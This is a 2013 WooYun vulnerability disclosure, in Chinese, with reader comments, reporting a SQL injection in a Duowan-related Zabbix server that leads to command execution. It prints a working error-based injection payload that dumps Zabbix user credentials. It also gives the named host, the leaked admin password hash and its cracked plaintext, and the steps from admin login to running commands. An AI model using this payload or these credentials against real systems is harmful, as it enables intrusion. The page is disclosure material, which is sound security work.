当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040274

漏洞标题：广州多玩某站ZabbixSQL注入导致命令执行

相关厂商：广州多玩

漏洞作者： 猪是念着倒V

提交时间：2013-10-19 01:00

修复时间：2013-12-03 01:00

公开时间：2013-12-03 01:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-19： 细节已通知厂商并且等待厂商处理中
2013-10-19： 厂商已经确认，细节仅向厂商公开
2013-10-29： 细节向核心白帽子及相关领域专家公开
2013-11-08： 细节向普通白帽子公开
2013-11-18： 细节向实习白帽子公开
2013-12-03： 细节向公众公开

简要描述：

广州多玩某站ZabbixSQL注入导致命令执行

详细说明：

Zabbix地址 http://f2.warlord.duowan.cn/
先用Zabbxi自带guest帐户登陆

QQ图片20131019004132.jpg


问题出在这里 报错

QQ图片20131019004315.jpg


存在注入,尝试构造语句

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


最终爆出干货

QQ图片20131019004429.jpg


admin a808370b7b147e3533d54538bbcf13a9
a808370b7b147e3533d54538bbcf13a9 MD5 解一下为monitor123
然后登陆 administrator帐户 接着来到这里

QQ图片20131019004757.jpg


红框里面的指令是何以任意修改的 然后来到这里

QQ图片20131019004919.jpg


可以直接执行我们刚才的指令

漏洞证明：

Ping了一下 看看效果

QQ图片20131019005057.jpg


修复方案：

过滤~
你比我懂~
求Rank~

版权声明：转载请注明来源 猪是念着倒V@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-10-19 13:02

厂商回复：

感谢对于欢聚时代安全工作的支持，我们会尽快安排修复

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-19 09:03 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    新漏洞出来又是刷起走的节奏

  2. 2013-10-19 11:27 | 猪是念着倒V ( 实习白帽子 | Rank:45 漏洞数:8 | 世间没有大牛这样的称号，只有逐渐走向大牛...)

    @小胖子 紧随时代潮流~

  3. 2013-10-19 13:56 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @小胖子 @猪是念着倒V 话说着漏洞是怎么回事

  4. 2013-10-19 13:59 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @mango 看drops最新的那文章

  5. 2013-10-19 14:14 | 猪是念着倒V ( 实习白帽子 | Rank:45 漏洞数:8 | 世间没有大牛这样的称号，只有逐渐走向大牛...)

    @mango guest帐户没禁用 httpmon页可访问 跟踪某变量到$values数组的value_id处 sql没有过滤,直接注入.

  6. 2013-10-19 14:14 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @小胖子 @猪是念着倒V 嗯嗯

  7. 2013-10-19 14:17 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @猪是念着倒V @小胖子这种站不好找诶

  8. 2013-10-19 15:03 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年！)

    多玩没有搞安全的童鞋么？有的话负责人应该早早下课！！！！

  9. 2013-10-19 15:24 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @her0ma - -漏洞依然存在

  10. 2013-10-20 13:09 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    卤煮留个联系方式呢？

  11. 2013-10-20 13:12 | 猪是念着倒V ( 实习白帽子 | Rank:45 漏洞数:8 | 世间没有大牛这样的称号，只有逐渐走向大牛...)

    @小胖子 Q 410334633

  12. 2013-10-21 22:12 | SuperZero ( 路人 | Rank:3 漏洞数:4 | 说艹艹，艹艹艹，卒)

    @猪是念着倒V 21号看见一个然后今天反馈结果 ~~再然后 就看见了你的~~下手晚了呀~~再者~~同样的 太平才给~~3 rank~~小气~~

  13. 2013-10-21 22:18 | 猪是念着倒V ( 实习白帽子 | Rank:45 漏洞数:8 | 世间没有大牛这样的称号，只有逐渐走向大牛...)

    @SuperZero pcgame那个我看到了 MD5解不开 爆不出session 然后就略过鸟

  14. 2013-10-21 22:40 | SuperZero ( 路人 | Rank:3 漏洞数:4 | 说艹艹，艹艹艹，卒)

    @猪是念着倒V 额 也是 但是我就猥琐的提交了~~

  15. 2013-10-22 09:37 | 广州多玩(乌云厂商)

    @her0ma, 其实这台服务器ip地址不是我们公司，是合作厂商的ip,而且我们的安全团队已经关注CVE-2013-5743关于ZabbixSQL的问题，我们已经通过metasploit验证了此漏洞，